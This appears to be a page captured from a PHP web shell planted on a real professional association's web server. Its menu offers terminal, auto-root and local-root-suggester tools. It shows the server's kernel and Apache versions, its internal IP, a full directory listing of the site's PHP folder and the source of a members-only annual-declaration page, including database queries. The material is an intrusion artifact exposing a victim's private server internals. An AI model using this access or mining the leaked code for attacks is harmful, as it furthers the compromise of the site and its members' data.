Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
php /
Delete
Unzip
Name
Size
Permission
Date
Action
_notes
[ DIR ]
drwxr-sr-x
2022-12-20 11:09
_vti_cnf
[ DIR ]
drwxr-sr-x
2022-12-20 11:09
certificate
[ DIR ]
drwxr-sr-x
2023-03-22 11:22
includes
[ DIR ]
drwxr-sr-x
2026-08-24 10:12
mail_interface
[ DIR ]
drwxr-sr-x
2025-06-14 09:47
security
[ DIR ]
drwxr-sr-x
2023-09-17 08:02
temp
[ DIR ]
drwxr-sr-x
2026-04-18 22:25
templates
[ DIR ]
drwxr-sr-x
2026-05-25 12:12
tests
[ DIR ]
drwxr-sr-x
2025-07-07 15:54
CaptchaSecurityImages.php
2.26
KB
-rw-r--r--
2022-12-20 11:09
Inc_calendarnew.php
8.59
KB
-rw-r--r--
2017-11-20 10:34
accredcourses.php
7.04
KB
-rw-r--r--
2023-08-22 10:55
adecquestionnaire.php
26.54
KB
-rw-r--r--
2025-08-01 10:38
advisory.php
7.21
KB
-rw-r--r--
2022-12-20 11:09
advisory_full.php
1.31
KB
-rw-r--r--
2022-12-20 11:09
annualdeclaration.php
15.28
KB
-rw-r--r--
2026-01-22 10:25
awardsentry.php
14.55
KB
-rw-r--r--
2025-08-01 10:38
awardsentry.php.bak
11.22
KB
-rw-r--r--
2016-04-13 12:45
bookdetail.php
954
B
-rw-r--r--
2022-12-20 11:09
books.php
4.4
KB
-rw-r--r--
2023-05-16 13:08
branchdocuments.php
1.14
KB
-rw-r--r--
2022-12-20 11:09
branches.php
2.82
KB
-rw-r--r--
2025-08-06 12:54
calendarpdf.php
1.75
KB
-rw-r--r--
2025-08-26 16:52
cceregister.php
55.59
KB
-rw-r--r--
2026-08-14 12:05
ccmregister.php
71.57
KB
-rw-r--r--
2022-12-20 11:09
class.phpmailer.php
44.39
KB
-rw-r--r--
2022-12-20 11:09
class.smtp.php
32.74
KB
-rw-r--r--
2022-12-20 11:09
committeedocs.php
932
B
-rw-r--r--
2022-12-20 11:09
committees.php
2.69
KB
-rw-r--r--
2025-08-06 12:58
cpdapply.php
5.73
KB
-rw-r--r--
2022-12-20 11:09
cpdapplyform.php
34.06
KB
-rw-r--r--
2025-08-01 10:38
cpdproviderapply.php
42.09
KB
-rw-r--r--
2026-02-10 10:10
cpdproviderportal.php
79.47
KB
-rw-r--r--
2025-09-08 07:23
cpdspverify.php
4.27
KB
-rw-r--r--
2025-10-10 10:45
cpdtmverify.php
4.45
KB
-rw-r--r--
2023-06-19 13:44
declineeventreg.php
3.73
KB
-rw-r--r--
2022-12-20 11:09
directorybooking.php
7.39
KB
-rw-r--r--
2022-12-20 11:09
downloadPN.php
385
B
-rw-r--r--
2025-06-26 13:02
downloadfile.php
280
B
-rw-r--r--
2025-08-01 10:38
enews.php
1.33
KB
-rw-r--r--
2022-12-20 11:09
enewsarchive.php
1.09
KB
-rw-r--r--
2022-12-20 11:09
event.php
12.39
KB
-rw-r--r--
2026-08-19 12:22
event_allvenues.php
18.93
KB
-rw-r--r--
2026-08-09 11:44
eventdecline_awards.php
11.79
KB
-rw-r--r--
2022-12-20 11:09
eventregister.php
26.85
KB
-rw-r--r--
2026-02-10 07:56
eventregister_awards.php
19.4
KB
-rw-r--r--
2025-06-20 06:38
eventregister_golf.php
28.83
KB
-rw-r--r--
2025-08-19 08:12
eventtables.php
24.13
KB
-rw-r--r--
2023-06-01 09:51
eventtables.php.bak
3.49
KB
-rw-r--r--
2022-12-20 11:09
fidicgama2018.php
1012
B
-rw-r--r--
2022-12-20 11:09
forum.php
3.25
KB
-rw-r--r--
2022-12-20 11:09
getoffices.php
799
B
-rw-r--r--
2022-12-20 11:09
hrforumsubscribe.php
2.62
KB
-rw-r--r--
2022-12-20 11:09
hrforumunsubscribe.php
1.32
KB
-rw-r--r--
2022-12-20 11:09
inc_calendarnew.php
10.56
KB
-rw-r--r--
2025-08-21 10:11
inc_captcha.php
337
B
-rw-r--r--
2022-12-20 11:09
inc_db.php
12.33
KB
-rw-r--r--
2025-06-18 12:05
inc_php7.php
6
KB
-rw-r--r--
2025-07-07 12:51
inc_practicenoteslist.php
4.1
KB
-rw-r--r--
2024-07-03 13:52
inc_scecalendar.php
8.55
KB
-rw-r--r--
2025-06-13 08:57
inc_scecalendar_backup.php
6.66
KB
-rw-r--r--
2022-12-20 11:09
inc_scecalendarnew.php
7.84
KB
-rw-r--r--
2026-05-09 09:39
jobshadowschools.php
7.26
KB
-rw-r--r--
2025-06-20 06:38
logout.php
593
B
-rw-r--r--
2025-02-25 08:19
marketingevent.php
122.75
KB
-rw-r--r--
2026-08-03 13:40
marketingeventdecline.php
15.21
KB
-rw-r--r--
2022-12-20 11:09
marketingsurvey.php
5.95
KB
-rw-r--r--
2022-12-20 11:09
matrixtemplate.htm
2.13
KB
-rw-r--r--
2022-12-20 11:09
member_portal_becs.php
2.14
KB
-rw-r--r--
2025-09-12 07:50
member_portal_transformation.php
10.45
KB
-rw-r--r--
2026-05-20 10:07
member_portal_transformation_proxy.php
538
B
-rw-r--r--
2026-05-20 09:08
memberauth.php
991
B
-rw-r--r--
2025-02-25 08:19
memberportal.php
11.79
KB
-rw-r--r--
2026-05-20 09:54
membersearch.php
22.72
KB
-rw-r--r--
2025-02-27 08:02
membersearch_smme.php
6.2
KB
-rw-r--r--
2024-11-27 11:41
memberverify.php
5.25
KB
-rw-r--r--
2022-12-20 11:09
mentors.php
21.68
KB
-rw-r--r--
2025-06-20 06:38
migratenode.php
1.26
KB
-rw-r--r--
2022-12-20 11:09
monofont.ttf
40.07
KB
-rw-r--r--
2022-12-20 11:09
nlc.php
855
B
-rw-r--r--
2022-12-20 11:09
nlcreports.php
2.51
KB
-rw-r--r--
2022-12-20 11:09
php_errors.log
1.06
KB
-rw-r--r--
2026-08-20 23:37
practicenotes.php
4.63
KB
-rw-r--r--
2022-12-20 11:09
practicenotes_full.php
1.33
KB
-rw-r--r--
2022-12-20 11:09
practicenotes_help.php
2.17
KB
-rw-r--r--
2022-12-20 11:09
practicenotes_list.php
2.03
KB
-rw-r--r--
2024-07-03 13:52
practicenotes_search.php
9.43
KB
-rw-r--r--
2022-12-20 11:09
querynlcmatrix.php
15
KB
-rw-r--r--
2022-12-20 11:09
querynlcmatrix.php4
15.38
KB
-rw-r--r--
2012-03-05 08:01
register.php
58.18
KB
-rw-r--r--
2026-05-26 14:55
relay.php
20.33
KB
-rw-r--r--
2025-06-20 06:38
relayteams.php
12.53
KB
-rw-r--r--
2022-12-20 11:09
resendcpdform.php
7.28
KB
-rw-r--r--
2025-08-01 10:38
retiredeng.php
13.45
KB
-rw-r--r--
2025-06-20 06:38
retiredeng_members.php
1.81
KB
-rw-r--r--
2022-12-20 11:09
sanitize.php
10
B
-rw-r--r--
2022-12-20 11:09
sce_survey2015.php
25.85
KB
-rw-r--r--
2022-12-20 11:09
sceallevents.php
8.13
KB
-rw-r--r--
2026-01-20 08:45
scecalendar.php
4.86
KB
-rw-r--r--
2025-06-18 11:18
scecalendar_backup.php
3.17
KB
-rw-r--r--
2025-06-18 11:18
scecalendarnew.php
5.98
KB
-rw-r--r--
2025-08-28 11:14
scecalendarnewtest.php
5.7
KB
-rw-r--r--
2022-03-04 12:37
scecalendartest.php
3.57
KB
-rw-r--r--
2022-03-04 12:38
scecategories.php
914
B
-rw-r--r--
2022-12-20 11:09
scecourses.php
7.18
KB
-rw-r--r--
2026-08-19 12:15
scelist.php
7.72
KB
-rw-r--r--
2025-08-29 07:18
scesubscribe.php
2.06
KB
-rw-r--r--
2022-12-20 11:09
sceupdate.php
1.67
KB
-rw-r--r--
2025-06-18 11:18
scevenuehire.php
6.15
KB
-rw-r--r--
2026-01-23 13:12
sendeventreg.php
19.5
KB
-rw-r--r--
2026-08-14 12:05
sendeventreg2.php
2.83
KB
-rw-r--r--
2026-07-17 14:57
sendeventreg_golf.php
20.23
KB
-rw-r--r--
2026-08-14 12:05
sendeventreg_golf.php.bak
11.69
KB
-rw-r--r--
2016-09-07 09:48
sendreg.php
35.15
KB
-rw-r--r--
2026-08-14 12:05
smsunsub.php
1.89
KB
-rw-r--r--
2025-06-18 11:18
template.php
54.36
KB
-rw-r--r--
2022-12-20 11:09
tenders.php
1.34
KB
-rw-r--r--
2022-12-20 11:09
trainerportal.php
50.27
KB
-rw-r--r--
2025-08-01 11:06
trainerportal.php.bak
2.57
KB
-rw-r--r--
2022-12-20 11:09
unempgrad_members.php
2.38
KB
-rw-r--r--
2025-06-18 11:18
unemployed.php
14.13
KB
-rw-r--r--
2025-06-20 06:38
unemployedreg.php
23.38
KB
-rw-r--r--
2025-06-20 06:38
unempreg_members.php
2.36
KB
-rw-r--r--
2025-06-18 11:18
ypfbranchcommittee.php
1.63
KB
-rw-r--r--
2022-12-20 11:09
ypfcommittees.php
1.57
KB
-rw-r--r--
2022-12-20 11:09
ypfjoin.php
30.29
KB
-rw-r--r--
2025-07-07 15:53
ypfjoin2.php
28.13
KB
-rw-r--r--
2025-06-18 11:18
ypfjoinmatches.php
9.46
KB
-rw-r--r--
2025-06-18 11:18
ypfmentees.php
20.81
KB
-rw-r--r--
2026-08-24 11:52
ypfmentees_members.php
2.42
KB
-rw-r--r--
2025-06-18 11:18
Save
Rename
<?php // ini_set('display_errors', 1); // error_reporting(E_ALL); session_start(); $sessid = session_id(); include_once("memberauth.php"); include_once('inc_db.php'); // $urlauthparams = "PHPSESSID=".htmlspecialchars($sessid)."&u=".$GLOBALS['user']->name; // $urlauthparams = "u=" . crypt($GLOBALS['user']->name, $GLOBALS['user']->name); $query = "SELECT DISTINCT user_login.username, tblMemberFirms.FirmID FROM user_login, OfficeContacts, tblMemberFirmOffices, tblMemberFirms WHERE (user_login.contact_id = OfficeContacts.ContactsID) AND OfficeContacts.OfficeID=tblMemberFirmOffices.OfficeID AND tblMemberFirmOffices.FirmID=tblMemberFirms.FirmID AND (tblMemberFirms.MemberStatus='Member' OR (tblMemberFirms.MemberStatus='Testing' AND tblMemberFirms.FirmID = 1312)) AND user_login.sessionid='" . $sessid . "' "; // echo 'Debug info. Please ignore. ' . $query; $result = mysqli_query($conni, $query); if ($row = mysqli_fetch_assoc($result)) { $MemberFirmID = $row["FirmID"]; $urlauthparams = "u=" . md5($row["username"]); $DeclarationYear = date('Y'); ?> <style> .annualdec a { color: blue !important; } </style> <div class="annualdec"> <p>Welcome to the Annual Declaration Section.</p> <hr /> <p><strong><em>QUICK LINKS</em></strong></p> <p>Please note that Parts 1 and 2 are compulsory and must be completed to receive your annual CESA membership certificate.</p> <p><strong><em>Annual Declaration Part 1 - Firm Company Information, Transformation, Offices Inside and Outside South Africa, Fields of Expertise<br> </em>Required by 23 February 2026</strong></p> <ol> <li><a href="https://cesa-wordpress-files-uploads.storage.googleapis.com/wp-content/uploads/2026/01/22115922/CESA_Form2-Annual_Declaration.pdf" target="_blank">Annual Declaration Part 1 PDF to Complete</a></li> <li><a href="https://cesa-wordpress-files-uploads.storage.googleapis.com/wp-content/uploads/2026/01/22115924/Quality-of-CESA-Service.pdf" target="_blank">Annual Declaration of Quality of CESA Service PDF to Complete</a></li> <!-- <li><a href="/members/AnnualDeclaration_Part1/annualGENERIC4.php?<?php echo $urlauthparams; ?>" target="_blank">Annual Declaration Part 1 Online Update</a></li> --> </ol> <p><strong><em>Annual Declaration Part 2 - CESA Management System Declarations (MSDs)</em></strong></p> <ol> <?php if (strpos($_SERVER['HTTP_HOST'], 'devstage.co.za') > 0) { $declarationLink = "/php/adecquestionnaire.php"; } else { $declarationLink = "/management-system-declarations/"; } ?> <li><a href="https://cesa-wordpress-files-uploads.storage.googleapis.com/wp-content/uploads/2026/01/22115923/CESA-FIMS_MSD_202601.pdf" target="_blank">MSD: FIDIC Integrity Management System (FIMS) Questionnaire</a> <?php /* $nowDate = new DateTime(); $sql = "SELECT af.*, (SELECT aa.Answer FROM ADQAnswers aa WHERE aa.ADQFirmID = af.ADQFirmID ORDER BY aa.ADQuestionID LIMIT 1) AS Certified FROM ADQFirms af WHERE af.ADQID=1 AND af.FirmID=" . $MemberFirmID . " AND af.DateCompleted IS NOT NULL AND af.AuditYear = " . $DeclarationYear . " ORDER BY af.DateCompleted DESC LIMIT 1"; $recADQ = mysqli_query($conni, $sql); if ($rowADQ = mysqli_fetch_assoc($recADQ)) { echo " - <i>Completed on " . date("Y-m-d", strtotime($rowADQ["DateCompleted"])); if (!empty($rowADQ["ScorePerc"])) echo ", score " . $rowADQ["ScorePerc"] . "%"; elseif ($rowADQ["Certified"] == 'Yes') echo ", score 100%"; echo "</i>"; } */ ?> </li> <li><a href="https://cesa-wordpress-files-uploads.storage.googleapis.com/wp-content/uploads/2026/01/22115919/CESA-QMS_MSD_202601.pdf" target="_blank">MSD: FIDIC Quality Management System (QMS) Questionnaire</a> <?php /* $sql = "SELECT af.*, (SELECT aa.Answer FROM ADQAnswers aa WHERE aa.ADQFirmID = af.ADQFirmID ORDER BY aa.ADQuestionID LIMIT 1) AS Certified FROM ADQFirms af WHERE af.ADQID=2 AND af.FirmID=" . $MemberFirmID . " AND af.DateCompleted IS NOT NULL AND af.AuditYear = " . $DeclarationYear . " ORDER BY af.DateCompleted DESC LIMIT 1"; // $sql = "SELECT * FROM ADQFirms WHERE ADQID=2 AND FirmID=" . $MemberFirmID . " AND DateCompleted IS NOT NULL ORDER BY DateCompleted DESC LIMIT 1"; $recADQ = mysqli_query($conni, $sql); if ($rowADQ = mysqli_fetch_assoc($recADQ)) { echo " - <i>Completed on " . $rowADQ["DateCompleted"]; if (!empty($rowADQ["ScorePerc"])) echo ", score " . $rowADQ["ScorePerc"] . "%"; elseif ($rowADQ["Certified"] == 'Yes') echo ", score 100%"; echo "</i>"; } */ ?> </li> <li><a href="https://cesa-wordpress-files-uploads.storage.googleapis.com/wp-content/uploads/2026/01/22115920/CESA-PSM_MSD_202601.pdf" target="_blank">MSD: FIDIC Project Sustainability Management System (PSM) Questionnaire</a> <?php /* $sql = "SELECT af.*, (SELECT aa.Answer FROM ADQAnswers aa WHERE aa.ADQFirmID = af.ADQFirmID ORDER BY aa.ADQuestionID LIMIT 1) AS Certified FROM ADQFirms af WHERE af.ADQID=3 AND af.FirmID=" . $MemberFirmID . " AND af.DateCompleted IS NOT NULL AND af.AuditYear = " . $DeclarationYear . " ORDER BY af.DateCompleted DESC LIMIT 1"; // $sql = "SELECT * FROM ADQFirms WHERE ADQID=3 AND FirmID=" . $MemberFirmID . " AND DateCompleted IS NOT NULL ORDER BY DateCompleted DESC LIMIT 1"; $recADQ = mysqli_query($conni, $sql); if ($rowADQ = mysqli_fetch_assoc($recADQ)) { echo " - <i>Completed on " . $rowADQ["DateCompleted"]; if (!empty($rowADQ["ScorePerc"])) echo ", score " . $rowADQ["ScorePerc"] . "%"; elseif ($rowADQ["Certified"] == 'Yes') echo ", score 100%"; echo "</i>"; } */ ?> </li> </ol> <!-- <p><strong><em>Annual Declaration Part 3 - Details of Principals and Professional Staff</em></strong></p> <ol> <li> <a href="/members/AnnualDeclaration_Part1/annualpart2.php?<?php echo $urlauthparams; ?>" target="_blank"> Annual Declaration Part 3 Online Update</a> </li> </ol> <hr /> <p><strong><em>WHAT TO SUBMIT</em></strong></p> <p>Please note that the Annual Declaration can be submitted in three parts.</p> <p><strong>Part 1 to be signed by the Mandated Principal and submitted to CESA by 21 February 2025.</strong></p> <p>Part 2 consists of the three management system declarations.</p> <p>Part 3 contains of the details of all principals and professional staff.</p> <hr /> --> <p><strong><em>HOW TO SUBMIT</em></strong></p> <p>The Annual Declaration can be completed online, or you can print out a pre-filled hard copy and submit by email.</p> <p><i>Please take a look at the following pages before continuing:</i><br /> <a href="/public_downloads/code_of_conduct.pdf" target="_blank">Code Of Conduct</a><br /> <a href="/members/AnnualDeclaration/docs/explanatory_notes.pdf" target="_blank">Explanatory Notes </a> </p> <!-- <table border="0" cellpadding="0" cellspacing="1" width="100%"> <tbody> <tr> <td bgcolor="#336699"><i><b> <font color="#ffffff">Online Section:</font> </b></i></td> </tr> <tr> <td align="left" valign="top"> <p>We have an online facility where you can complete your annual declaration directly on the website. This means less paper and costs. Please follow the instructions on each page carefully.</p> <ol> <li><a href="/members/AnnualDeclaration_Part1/annualGENERIC4.php?<?php echo $urlauthparams; ?>" target="_blank">Part 1: required by 21 February 2025. Click here to begin your online update of Part 1.</a></li> <li><a href="/members/AnnualDeclaration_Part1/annualpart2.php?<?php echo $urlauthparams; ?>" target="_blank">Part 3: Details of all principals and professional staff.</a></li> </ol> </td> </tr> </tbody> </table><br /> <table border="0" cellpadding="0" cellspacing="1" width="100%"> <tbody> <tr> <td bgcolor="#336699"><i><b> <font color="#ffffff">Printable Documentation:</font> </b></i></td> </tr> <tr> <td align="left" valign="top"> <p><i><b>You Can Still Print Your Documentation:</b></i><br /> If you prefer to complete a printed version of the Annual Declaration a downloadable version appears below. This reflects the current information available in our database for your firm. Please amend any incorrect information by entering the correct information in the appropriate shaded areas. Please complete blank forms for any new branch offices.</p> <p><i><b>Please note this declaration must be signed by the Mandated Principal of the firm, and returned to:</b><br /> Consulting Engineers of South Africa<br /> PO Box 68482<br /> Bryanston<br /> 2021 </i></p> <p><b><i>How To Print:</i></b><br /> You can use the right hand button on the mouse to click on any open space and then select the Print function.</p> <ol> <li><a href="/members/AnnualDeclaration_Part1/annualDecMain.php?<?php echo $urlauthparams; ?>" target="_blank">Annual Declaration Part 1 - Printable Version - Click Here</a></li> <li> <a href="/public_downloads/20201209_CESA_FIMS_MSD_Final.pdf" target="_blank">FIDIC Integrity Management System (FIMS) Questionnaire</a> <?php $sql = "SELECT * FROM ADQFirms WHERE ADQID=1 AND FirmID=" . $MemberFirmID . " AND DateCompleted IS NOT NULL AND ADQFirms.AuditYear = " . $DeclarationYear . ""; $recADQ = mysqli_query($conni, $sql); if ($rowADQ = mysqli_fetch_assoc($recADQ)) { echo " - <i>Completed on " . date("Y-m-d", strtotime($rowADQ["DateCompleted"])); if (!empty($rowADQ["ScorePerc"])) echo ", score " . $rowADQ["ScorePerc"] . "%"; echo "</i>"; } ?> </li> <li> <a href="/public_downloads/20201209_CESA_QMS_MSD_Final.pdf" target="_blank">FIDIC Quality Management System (QMS) Questionnaire</a> <?php $sql = "SELECT * FROM ADQFirms WHERE ADQID=2 AND FirmID=" . $MemberFirmID . " AND DateCompleted IS NOT NULL AND ADQFirms.AuditYear = " . $DeclarationYear . ""; $recADQ = mysqli_query($conni, $sql); if ($rowADQ = mysqli_fetch_assoc($recADQ)) { echo " - <i>Completed on " . $rowADQ["DateCompleted"]; if (!empty($rowADQ["ScorePerc"])) echo ", score " . $rowADQ["ScorePerc"] . "%"; echo "</i>"; } ?> </li> <li> <a href="/public_downloads/20201209_CESA_PSM_MSD_Final.pdf" target="_blank">FIDIC Project Sustainability Management System (PSM) Questionnaire</a> <?php $sql = "SELECT * FROM ADQFirms WHERE ADQID=3 AND FirmID=" . $MemberFirmID . " AND DateCompleted IS NOT NULL AND ADQFirms.AuditYear = " . $DeclarationYear . ""; $recADQ = mysqli_query($conni, $sql); if ($rowADQ = mysqli_fetch_assoc($recADQ)) { echo " - <i>Completed on " . $rowADQ["DateCompleted"]; if (!empty($rowADQ["ScorePerc"])) echo ", score " . $rowADQ["ScorePerc"] . "%"; echo "</i>"; } ?> </li> <li> <a href="/members/AnnualDeclaration_Part1/annualDecPart2.php?<?php echo $urlauthparams; ?>">Annual Declaration Part 3 - Printable Version - Click Here</a> </li> </ol> </td> </tr> </tbody> </table> --> </div> <?php } else { ?> <p>You are not authorised to access the Annual Declaration section.</p> <?php }